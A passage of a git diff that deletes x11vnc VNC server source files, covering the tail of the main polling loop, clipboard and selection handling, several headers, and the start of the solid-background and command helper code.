- if (debug_scroll) fprintf(stderr, "watch_loop: LOOP-BACK: %d\n", ret);
- continue;
- }
- }
- /* watch for viewonly input piling up: */
- if ((got_pointer_calls > got_pointer_input) ||
- (got_keyboard_calls > got_keyboard_input)) {
- eat_viewonly_input(10, 3);
- }
- } else {
- /* -threads here. */
- if (unixpw_in_progress) {
- rfbClientPtr cl = unixpw_client;
- if (cl && cl->onHold) {
- rfbLog(msg, cl->host);
- unixpw_client->onHold = FALSE;
- }
- }
- if (use_xrecord) {
- check_xrecord();
- }
- if (wireframe && button_mask) {
- check_wireframe();
- }
- }
- skip_pe = 0;
-
- if (shut_down) {
- clean_up_exit(0);
- }
-
- if (unixpw_in_progress) {
- check_new_clients();
- continue;
- }
-
- if (! urgent_update) {
- if (do_copy_screen) {
- do_copy_screen = 0;
- copy_screen();
- }
-
- check_new_clients();
- check_ncache(0, 0);
- check_xevents(0);
- check_autorepeat();
- check_pm();
- check_filexfer();
- check_keycode_state();
- check_connect_inputs();
- check_gui_inputs();
- check_stunnel();
- check_openssl();
- check_https();
- record_last_fb_update();
- check_padded_fb();
- check_fixscreen();
- check_xdamage_state();
- check_xrecord_reset(0);
- check_add_keysyms();
- check_new_passwds(0);
-#ifdef ENABLE_GRABLOCAL
- if (grab_local) {
- check_local_grab();
- }
-#endif
- if (started_as_root) {
- check_switched_user();
- }
-
- if (first_conn_timeout < 0) {
- start = time(NULL);
- first_conn_timeout = -first_conn_timeout;
- }
- }
-
- if (rawfb_vnc_reflect) {
- static time_t lastone = 0;
- if (time(NULL) > lastone + 10) {
- lastone = time(NULL);
- vnc_reflect_process_client();
- }
- }
-
- if (first_conn_timeout) {
- int t = first_conn_timeout;
- if (!clients_served) {
- if (time(NULL) - start > first_conn_timeout) {
- rfbLog("No client after %d secs.\n", t);
- shut_down = 1;
- }
- } else {
- if (!client_normal_count) {
- if (time(NULL) - start > t + 3) {
- rfbLog("No valid client after %d secs.\n", t + 3);
- shut_down = 1;
- }
- }
- }
- }
-
- if (! screen || ! screen->clientHead) {
- /* waiting for a client */
- usleep(200 * 1000);
- continue;
- }
-
- if (first_conn_timeout && all_clients_initialized()) {
- first_conn_timeout = 0;
- }
-
- if (nofb) {
- /* no framebuffer polling needed */
- if (cursor_pos_updates) {
- check_x11_pointer();
- }
-#ifdef MACOSX
- else check_x11_pointer();
-#endif
- continue;
- }
- if (x11vnc_current < last_new_client + 0.5 && !all_clients_initialized()) {
- continue;
- }
- if (subwin && freeze_when_obscured) {
- /* XXX not working */
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- check_xevents(0);
- if (subwin_obscured) {
- skip_scan_for_updates = 1;
- }
- }
-
- if (skip_scan_for_updates) {
- ;
- } else if (button_mask && (!show_dragging || pointer_mode == 0)) {
- /*
- * if any button is pressed in this mode do
- * not update rfb screen, but do flush the
- * X11 display.
- */
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- dt = 0.0;
- } else {
- static double last_dt = 0.0;
- double xdamage_thrash = 0.4;
- static int tilecut = -1;
-
- check_cursor_changes();
-
- /* for timing the scan to try to detect thrashing */
-
- if (use_xdamage && last_dt > xdamage_thrash) {
- clear_xdamage_mark_region(NULL, 0);
- }
-
- if (unixpw_in_progress) continue;
-
- if (rawfb_vnc_reflect) {
- vnc_reflect_process_client();
- }
-
- dtime0(&tm);
-
-#if !NO_X11
- if (xrandr_present && !xrandr && xrandr_maybe) {
- int delay = 180;
- /* there may be xrandr right after xsession start */
- if (tm < x11vnc_start + delay || tm < last_client + delay) {
- int tw = 20;
- if (auth_file != NULL) {
- tw = 120;
- }
- X_LOCK;
- if (tm < x11vnc_start + tw || tm < last_client + tw) {
- XSync(dpy, False);
- } else {
- XFlush_wr(dpy);
- }
- X_UNLOCK;
- }
- X_LOCK;
- check_xrandr_event("before-scan");
- X_UNLOCK;
- }
-#endif
- if (use_snapfb) {
- int t, tries = 3;
- copy_snap();
- for (t=0; t < tries; t++) {
- tile_diffs = scan_for_updates(0);
- }
- } else {
- tile_diffs = scan_for_updates(0);
- }
- dt = dtime(&tm);
- if (! nap_ok) {
- last_dt = dt;
- }
-
- if (tilecut < 0) {
- if (getenv("TILECUT")) {
- tilecut = atoi(getenv("TILECUT"));
- }
- if (tilecut < 0) tilecut = 4;
- }
-
- if ((debug_tiles || debug_scroll > 1 || debug_wireframe > 1)
- && (tile_diffs > tilecut || debug_tiles > 1)) {
- double rate = (tile_x * tile_y * bpp/8 * tile_diffs) / dt;
- fprintf(stderr, "============================= TILES: %d dt: %.4f"
- " t: %.4f %.2f MB/s nap_ok: %d\n", tile_diffs, dt,
- tm - x11vnc_start, rate/1000000.0, nap_ok);
- }
-
- }
-
- /* sleep a bit to lessen load */
- wait = choose_delay(dt);
-
- if (urgent_update) {
- ;
- } else if (wait > 2*waitms) {
- /* bog case, break it up */
- nap_sleep(wait, 10);
- } else {
- double t1, t2;
- int idt;
- if (extra_fbur > 0) {
- int i;
- for (i=0; i <= extra_fbur; i++) {
- int r = rfbPE(0);
- if (!r) break;
- }
- }
-
- /* sometimes the sleep is too short, so measure it: */
- t1 = dnow();
- usleep(wait * 1000);
- t2 = dnow();
-
- idt = (int) (1000. * (t2 - t1));
- if (idt > 0 && idt < wait) {
- /* try to sleep the remainder */
- usleep((wait - idt) * 1000);
- }
- }
-
- cnt++;
- }
-}
-
-
diff --git a/x11vnc/screen.h b/x11vnc/screen.h
deleted file mode 100644
index e7376f4..0000000
--- a/x11vnc/screen.h
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_SCREEN_H
-#define _X11VNC_SCREEN_H
-
-/* -- screen.h -- */
-
-extern void set_greyscale_colormap(void);
-extern void set_hi240_colormap(void);
-extern void unset_colormap(void);
-extern void set_colormap(int reset);
-extern void set_nofb_params(int restore);
-extern void set_raw_fb_params(int restore);
-extern void do_new_fb(int reset_mem);
-extern void free_old_fb(void);
-extern void check_padded_fb(void);
-extern void install_padded_fb(char *geom);
-extern XImage *initialize_xdisplay_fb(void);
-extern XImage *initialize_raw_fb(int);
-extern void parse_scale_string(char *str, double *factor_x, double *factor_y, int *scaling, int *blend,
- int *nomult4, int *pad, int *interpolate, int *numer, int *denom, int w_in, int h_in);
-extern int parse_rotate_string(char *str, int *mode);
-extern int scale_round(int len, double fac);
-extern void initialize_screen(int *argc, char **argv, XImage *fb);
-extern void set_vnc_desktop_name(void);
-extern void announce(int lport, int ssl, char *iface);
-
-extern char *vnc_reflect_guess(char *str, char **raw_fb_addr);
-extern void vnc_reflect_process_client(void);
-extern rfbBool vnc_reflect_send_pointer(int x, int y, int mask);
-extern rfbBool vnc_reflect_send_key(uint32_t key, rfbBool down);
-extern rfbBool vnc_reflect_send_cuttext(char *str, int len);
-
-extern int rawfb_reset;
-extern int rawfb_dev_video;
-extern int rawfb_vnc_reflect;
-
-#endif /* _X11VNC_SCREEN_H */
diff --git a/x11vnc/scrollevent_t.h b/x11vnc/scrollevent_t.h
deleted file mode 100644
index e0ea951..0000000
--- a/x11vnc/scrollevent_t.h
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_SCROLLEVENT_T_H
-#define _X11VNC_SCROLLEVENT_T_H
-
-/* -- scrollevent_t.h -- */
-
-typedef struct scroll_event {
- Window win, frame;
- int dx, dy;
- int x, y, w, h;
- double t;
- int win_x, win_y, win_w, win_h;
- int new_x, new_y, new_w, new_h;
-} scroll_event_t;
-
-#endif /* _X11VNC_SCROLLEVENT_T_H */
diff --git a/x11vnc/selection.c b/x11vnc/selection.c
deleted file mode 100644
index a334586..0000000
--- a/x11vnc/selection.c
+++ /dev/null
@@ -1,548 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- selection.c -- */
-
-#include "x11vnc.h"
-#include "cleanup.h"
-#include "connections.h"
-#include "unixpw.h"
-#include "win_utils.h"
-#include "xwrappers.h"
-
-/*
- * Selection/Cutbuffer/Clipboard handlers.
- */
-
-int own_primary = 0; /* whether we currently own PRIMARY or not */
-int set_primary = 1;
-int own_clipboard = 0; /* whether we currently own CLIPBOARD or not */
-int set_clipboard = 1;
-int set_cutbuffer = 0; /* to avoid bouncing the CutText right back */
-int sel_waittime = 15; /* some seconds to skip before first send */
-Window selwin = None; /* special window for our selection */
-Atom clipboard_atom = None;
-
-/*
- * This is where we keep our selection: the string sent TO us from VNC
- * clients, and the string sent BY us to requesting X11 clients.
- */
-char *xcut_str_primary = NULL;
-char *xcut_str_clipboard = NULL;
-
-
-void selection_request(XEvent *ev, char *type);
-int check_sel_direction(char *dir, char *label, char *sel, int len);
-void cutbuffer_send(void);
-void selection_send(XEvent *ev);
-void resend_selection(char *type);
-
-
-/*
- * Our callbacks instruct us to check for changes in the cutbuffer
- * and PRIMARY and CLIPBOARD selection on the local X11 display.
- *
- * TODO: check if malloc does not cause performance issues (esp. WRT
- * SelectionNotify handling).
- */
-static char cutbuffer_str[PROP_MAX+1];
-static char primary_str[PROP_MAX+1];
-static char clipboard_str[PROP_MAX+1];
-static int cutbuffer_len = 0;
-static int primary_len = 0;
-static int clipboard_len = 0;
-
-/*
- * An X11 (not VNC) client on the local display has requested the selection
- * from us (because we are the current owner).
- *
- * n.b.: our caller already has the X_LOCK.
- */
-void selection_request(XEvent *ev, char *type) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!ev || !type) {}
- return;
-#else
- XSelectionEvent notify_event;
- XSelectionRequestEvent *req_event;
- XErrorHandler old_handler;
- char *str;
- unsigned int length;
- unsigned char *data;
- static Atom xa_targets = None;
- static int sync_it = -1;
-# ifndef XA_LENGTH
- unsigned long XA_LENGTH;
-# endif
- RAWFB_RET_VOID
-
-# ifndef XA_LENGTH
- XA_LENGTH = XInternAtom(dpy, "LENGTH", True);
-# endif
-
- if (sync_it < 0) {
- if (getenv("X11VNC_SENDEVENT_SYNC")) {
- sync_it = 1;
- } else {
- sync_it = 0;
- }
- }
-
- req_event = &(ev->xselectionrequest);
- notify_event.type = SelectionNotify;
- notify_event.display = req_event->display;
- notify_event.requestor = req_event->requestor;
- notify_event.selection = req_event->selection;
- notify_event.target = req_event->target;
- notify_event.time = req_event->time;
-
- if (req_event->property == None) {
- notify_event.property = req_event->target;
- } else {
- notify_event.property = req_event->property;
- }
-
- if (!strcmp(type, "PRIMARY")) {
- str = xcut_str_primary;
- } else if (!strcmp(type, "CLIPBOARD")) {
- str = xcut_str_clipboard;
- } else {
- return;
- }
- if (str) {
- length = strlen(str);
- } else {
- length = 0;
- }
- if (debug_sel) {
- rfbLog("%s\trequest event: owner=0x%x requestor=0x%x sel=%03d targ=%d prop=%d\n",
- type, req_event->owner, req_event->requestor, req_event->selection,
- req_event->target, req_event->property);
- }
-
- if (xa_targets == None) {
- xa_targets = XInternAtom(dpy, "TARGETS", False);
- }
-
- /* the window may have gone away, so trap errors */
- trapped_xerror = 0;
- old_handler = XSetErrorHandler(trap_xerror);
-
- if (ev->xselectionrequest.target == XA_LENGTH) {
- /* length request */
- int ret;
- long llength = (long) length;
-
- ret = XChangeProperty(ev->xselectionrequest.display,
- ev->xselectionrequest.requestor,
- ev->xselectionrequest.property,
- ev->xselectionrequest.target, 32, PropModeReplace,
- (unsigned char *) &llength, 1); /* had sizeof(unsigned int) = 4 before... */
- if (debug_sel) {
- rfbLog("LENGTH: XChangeProperty() -> %d\n", ret);
- }
-
- } else if (xa_targets != None && ev->xselectionrequest.target == xa_targets) {
- /* targets request */
- int ret;
- Atom targets[2];
- targets[0] = (Atom) xa_targets;
- targets[1] = (Atom) XA_STRING;
-
- ret = XChangeProperty(ev->xselectionrequest.display,
- ev->xselectionrequest.requestor,
- ev->xselectionrequest.property,
- ev->xselectionrequest.target, 32, PropModeReplace,
- (unsigned char *) targets, 2);
- if (debug_sel) {
- rfbLog("TARGETS: XChangeProperty() -> %d -- sz1: %d sz2: %d\n",
- ret, sizeof(targets[0]), sizeof(targets)/sizeof(targets[0]));
- }
-
- } else {
- /* data request */
- int ret;
-
- data = (unsigned char *)str;
-
- ret = XChangeProperty(ev->xselectionrequest.display,
- ev->xselectionrequest.requestor,
- ev->xselectionrequest.property,
- ev->xselectionrequest.target, 8, PropModeReplace,
- data, length);
- if (debug_sel) {
- rfbLog("DATA: XChangeProperty() -> %d\n", ret);
- }
- }
-
- if (! trapped_xerror) {
- int ret = -2, skip_it = 0, ms = 0;
- double now = dnow();
- static double last_check = 0.0;
-
- if (now > last_check + 0.2) {
- XFlush_wr(dpy);
- if (!valid_window(req_event->requestor , NULL, 1)) {
- sync_it = 1;
- skip_it = 1;
- if (debug_sel) {
- rfbLog("selection_request: not a valid window: 0x%x\n",
- req_event->requestor);
- }
- ms = 10;
- }
- if (trapped_xerror) {
- sync_it = 1;
- skip_it = 1;
- }
- last_check = dnow();
- }
-
- if (!skip_it) {
- ret = XSendEvent(req_event->display, req_event->requestor, False, 0,
- (XEvent *)¬ify_event);
- }
- if (debug_sel) {
- rfbLog("XSendEvent() -> %d\n", ret);
- }
- if (ms > 0) {
- usleep(ms * 1000);
- }
- }
- if (trapped_xerror) {
- rfbLog("selection_request: ignored XError while sending "
- "%s selection to 0x%x.\n", type, req_event->requestor);
- }
-
- XFlush_wr(dpy);
- if (sync_it) {
- usleep(10 * 1000);
- XSync(dpy, False);
- }
-
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
-
-#endif /* NO_X11 */
-}
-
-int check_sel_direction(char *dir, char *label, char *sel, int len) {
- int db = 0, ok = 1;
- if (debug_sel) {
- db = 1;
- }
- if (sel_direction) {
- if (strstr(sel_direction, "debug")) {
- db = 1;
- }
- if (strcmp(sel_direction, "debug")) {
- if (strstr(sel_direction, dir) == NULL) {
- ok = 0;
- }
- }
- }
- if (db) {
- char str[40];
- int n = 40;
- strncpy(str, sel, n);
- str[n-1] = '\0';
- if (len < n) {
- str[len] = '\0';
- }
- rfbLog("%s: '%s'\n", label, str);
- if (ok) {
- rfbLog("%s: %s-ing it.\n", label, dir);
- } else {
- rfbLog("%s: NOT %s-ing it.\n", label, dir);
- }
- }
- return ok;
-}
-
-/*
- * CUT_BUFFER0 property on the local display has changed, we read and
- * store it and send it out to any connected VNC clients.
- *
- * n.b.: our caller already has the X_LOCK.
- */
-void cutbuffer_send(void) {
-#if NO_X11
- RAWFB_RET_VOID
- return;
-#else
- Atom type;
- int format, slen, dlen, len;
- unsigned long nitems = 0, bytes_after = 0;
- unsigned char* data = NULL;
-
- cutbuffer_str[0] = '\0';
- slen = 0;
-
- RAWFB_RET_VOID
-
- /* read the property value into cutbuffer_str: */
- do {
- if (XGetWindowProperty(dpy, DefaultRootWindow(dpy),
- XA_CUT_BUFFER0, nitems/4, PROP_MAX/16, False,
- AnyPropertyType, &type, &format, &nitems, &bytes_after,
- &data) == Success) {
-
- dlen = nitems * (format/8);
- if (slen + dlen > PROP_MAX) {
- /* too big */
- rfbLog("warning: truncating large CUT_BUFFER0"
- " selection > %d bytes.\n", PROP_MAX);
- XFree_wr(data);
- break;
- }
- memcpy(cutbuffer_str+slen, data, dlen);
- slen += dlen;
- cutbuffer_str[slen] = '\0';
- XFree_wr(data);
- }
- } while (bytes_after > 0);
-
- cutbuffer_str[PROP_MAX] = '\0';
-
- if (debug_sel) {
- rfbLog("cutbuffer_send: '%s'\n", cutbuffer_str);
- }
-
- if (! all_clients_initialized()) {
- rfbLog("cutbuffer_send: no send: uninitialized clients\n");
- return; /* some clients initializing, cannot send */
- }
- if (unixpw_in_progress) {
- return;
- }
-
- /* now send it to any connected VNC clients (rfbServerCutText) */
- if (!screen) {
- return;
- }
- cutbuffer_len = len = strlen(cutbuffer_str);
- if (check_sel_direction("send", "cutbuffer_send", cutbuffer_str, len)) {
- rfbSendServerCutText(screen, cutbuffer_str, len);
- }
-#endif /* NO_X11 */
-}
-
-/*
- * "callback" for our SelectionNotify polling. We try to determine if
- * the PRIMARY selection has changed (checking length and first CHKSZ bytes)
- * and if it has we store it and send it off to any connected VNC clients.
- *
- * n.b.: our caller already has the X_LOCK.
- *
- * TODO: if we were willing to use libXt, we could perhaps get selection
- * timestamps to speed up the checking... XtGetSelectionValue().
- *
- * Also: XFIXES has XFixesSelectSelectionInput().
- */
-#define CHKSZ 32
-
-void selection_send(XEvent *ev) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!ev) {}
- return;
-#else
- Atom type;
- int format, slen, dlen, oldlen, newlen, toobig = 0, len;
- static int err = 0, sent_one = 0;
- char before[CHKSZ], after[CHKSZ];
- unsigned long nitems = 0, bytes_after = 0;
- unsigned char* data = NULL;
- char *selection_str;
-
- RAWFB_RET_VOID
- /*
- * remember info about our last value of PRIMARY (or CUT_BUFFER0)
- * so we can check for any changes below.
- */
- if (ev->xselection.selection == XA_PRIMARY) {
- if (! watch_primary) {
- return;
- }
- selection_str = primary_str;
- if (debug_sel) {
- rfbLog("selection_send: event PRIMARY prop: %d requestor: 0x%x atom: %d\n",
- ev->xselection.property, ev->xselection.requestor, ev->xselection.selection);
- }
- } else if (clipboard_atom && ev->xselection.selection == clipboard_atom) {
- if (! watch_clipboard) {
- return;
- }
- selection_str = clipboard_str;
- if (debug_sel) {
- rfbLog("selection_send: event CLIPBOARD prop: %d requestor: 0x%x atom: %d\n",
- ev->xselection.property, ev->xselection.requestor, ev->xselection.selection);
- }
- } else {
- return;
- }
-
- oldlen = strlen(selection_str);
- strncpy(before, selection_str, CHKSZ);
-
- selection_str[0] = '\0';
- slen = 0;
-
- /* read in the current value of PRIMARY or CLIPBOARD: */
- do {
- if (XGetWindowProperty(dpy, ev->xselection.requestor,
- ev->xselection.property, nitems/4, PROP_MAX/16, True,
- AnyPropertyType, &type, &format, &nitems, &bytes_after,
- &data) == Success) {
-
- dlen = nitems * (format/8);
- if (slen + dlen > PROP_MAX) {
- /* too big */
- toobig = 1;
- XFree_wr(data);
- if (err) { /* cut down on messages */
- break;
- } else {
- err = 5;
- }
- rfbLog("warning: truncating large PRIMARY"
- "/CLIPBOARD selection > %d bytes.\n",
- PROP_MAX);
- break;
- }
-if (debug_sel) fprintf(stderr, "selection_send: data: '%s' dlen: %d nitems: %lu ba: %lu\n", data, dlen, nitems, bytes_after);
- memcpy(selection_str+slen, data, dlen);
- slen += dlen;
- selection_str[slen] = '\0';
- XFree_wr(data);
- }
- } while (bytes_after > 0);
-
- if (! toobig) {
- err = 0;
- } else if (err) {
- err--;
- }
-
- if (! sent_one) {
- /* try to force a send first time in */
- oldlen = -1;
- sent_one = 1;
- }
- if (debug_sel) {
- rfbLog("selection_send: %s '%s'\n",
- ev->xselection.selection == XA_PRIMARY ? "PRIMARY " : "CLIPBOARD",
- selection_str);
- }
-
- /* look for changes in the new value */
- newlen = strlen(selection_str);
- strncpy(after, selection_str, CHKSZ);
-
- if (oldlen == newlen && strncmp(before, after, CHKSZ) == 0) {
- /* evidently no change */
- if (debug_sel) {
- rfbLog("selection_send: no change.\n");
- }
- return;
- }
- if (newlen == 0) {
- /* do not bother sending a null string out */
- return;
- }
-
- if (! all_clients_initialized()) {
- rfbLog("selection_send: no send: uninitialized clients\n");
- return; /* some clients initializing, cannot send */
- }
-
- if (unixpw_in_progress) {
- return;
- }
-
- /* now send it to any connected VNC clients (rfbServerCutText) */
- if (!screen) {
- return;
- }
-
- len = newlen;
- if (ev->xselection.selection == XA_PRIMARY) {
- primary_len = len;
- } else if (clipboard_atom && ev->xselection.selection == clipboard_atom) {
- clipboard_len = len;
- }
- if (check_sel_direction("send", "selection_send", selection_str, len)) {
- rfbSendServerCutText(screen, selection_str, len);
- }
-#endif /* NO_X11 */
-}
-
-void resend_selection(char *type) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!type) {}
- return;
-#else
- char *selection_str = "";
- int len = 0;
-
- RAWFB_RET_VOID
-
- if (! all_clients_initialized()) {
- rfbLog("selection_send: no send: uninitialized clients\n");
- return; /* some clients initializing, cannot send */
- }
- if (unixpw_in_progress) {
- return;
- }
- if (!screen) {
- return;
- }
-
- if (!strcmp(type, "cutbuffer")) {
- selection_str = cutbuffer_str;
- len = cutbuffer_len;
- } else if (!strcmp(type, "clipboard")) {
- selection_str = clipboard_str;
- len = clipboard_len;
- } else if (!strcmp(type, "primary")) {
- selection_str = primary_str;
- len = primary_len;
- }
- if (check_sel_direction("send", "selection_send", selection_str, len)) {
- rfbSendServerCutText(screen, selection_str, len);
- }
-#endif /* NO_X11 */
-}
-
-
diff --git a/x11vnc/selection.h b/x11vnc/selection.h
deleted file mode 100644
index e528540..0000000
--- a/x11vnc/selection.h
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_SELECTION_H
-#define _X11VNC_SELECTION_H
-
-/* -- selection.h -- */
-
-extern char *xcut_str_primary;
-extern char *xcut_str_clipboard;
-extern int own_primary;
-extern int set_primary;
-extern int own_clipboard;
-extern int set_clipboard;
-extern int set_cutbuffer;
-extern int sel_waittime;
-extern Window selwin;
-extern Atom clipboard_atom;
-
-extern void selection_request(XEvent *ev, char *type);
-extern int check_sel_direction(char *dir, char *label, char *sel, int len);
-extern void cutbuffer_send(void);
-extern void selection_send(XEvent *ev);
-extern void resend_selection(char *type);
-
-#endif /* _X11VNC_SELECTION_H */
diff --git a/x11vnc/solid.c b/x11vnc/solid.c
deleted file mode 100644
index c78fb1f..0000000
--- a/x11vnc/solid.c
+++ /dev/null
@@ -1,1429 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- solid.c -- */
-
-#include "x11vnc.h"
-#include "win_utils.h"
-#include "xwrappers.h"
-#include "connections.h"
-#include "cleanup.h"
-#include "xevents.h"
-
-char *guess_desktop(void);
-void solid_bg(int restore);
-char *dbus_session(void);
-
-
-static void usr_bin_path(int restore);
-static int dt_cmd(char *cmd);
-static char *cmd_output(char *cmd);
-XImage *solid_root(char *color);
-static void solid_cde(char *color);
-static void solid_gnome(char *color);
-static void solid_kde(char *color);
-static void solid_macosx(int restore);
-
-static void usr_bin_path(int restore) {
- static char *oldpath = NULL;
- char *newpath;
- char addpath[] = "/usr/bin:/bin:";
-
- if (restore) {
- if (oldpath) {
- set_env("PATH", oldpath);
- free(oldpath);
- oldpath = NULL;
- }
- return;
- }
-
- if (getenv("PATH")) {
- oldpath = strdup(getenv("PATH"));
- } else {
- oldpath = strdup("/usr/bin");
- }
- newpath = (char *) malloc(strlen(oldpath) + strlen(addpath) + 1);
- newpath[0] = '\0';
- strcat(newpath, addpath);
- strcat(newpath, oldpath);
- set_env("PATH", newpath);
- free(newpath);
-}
-
-static int dt_cmd(char *cmd) {
- int rc;
-
- RAWFB_RET(0)
-
- if (!cmd || *cmd == '\0') {
- return 0;
- }
-
- /* dt */
- if (no_external_cmds || !cmd_ok("dt")) {
- rfbLog("cannot run external commands in -nocmds mode:\n");
- rfbLog(" \"%s\"\n", cmd);
- rfbLog(" dt_cmd: returning 1\n");
- return 1;
- }
-
- if (getenv("DISPLAY") == NULL) {
- set_env("DISPLAY", DisplayString(dpy));
- }
-
- rfbLog("running command:\n");
- if (!quiet) {
- fprintf(stderr, "\n %s\n\n", cmd);
- }
- usr_bin_path(0);
- close_exec_fds();
- rc = system(cmd);
- usr_bin_path(1);
-
- if (rc >= 256) {
- rc = rc/256;
- }
- return rc;
-}
-
-static char *cmd_output(char *cmd) {
- FILE *p;
- static char output[50000];
- char line[1024];
- int rc;
-
- if (!cmd || *cmd == '\0') {
- return "";
- }
-
- if (no_external_cmds) {
- rfbLog("cannot run external commands in -nocmds mode:\n");
- rfbLog(" \"%s\"\n", cmd);
- rfbLog(" cmd_output: null string.\n");
- return "";
- }
-
- rfbLog("running pipe:\n");
- if (!quiet) {
- fprintf(stderr, "\n %s\n\n", cmd);
- }
- usr_bin_path(0);
- close_exec_fds();
- p = popen(cmd, "r");
- usr_bin_path(1);
-
- output[0] = '\0';
-
- while (fgets(line, 1024, p) != NULL) {
- if (strlen(output) + strlen(line) + 1 < 50000) {
- strcat(output, line);
- }
- }
- rc = pclose(p);
- return(output);
-}
-
-static char *last_color = NULL;
-
-unsigned long get_pixel(char *color) {
-#if NO_X11
- return 0;
-#else
- XColor cdef;
- Colormap cmap;
- unsigned long pixel = BlackPixel(dpy, scr);
- if (depth > 8 || strcmp(color, solid_default)) {
- cmap = DefaultColormap (dpy, scr);
- if (XParseColor(dpy, cmap, color, &cdef) &&
- XAllocColor(dpy, cmap, &cdef)) {
- pixel = cdef.pixel;
- } else {
- rfbLog("error parsing/allocing color: %s\n", color);
- }
- }
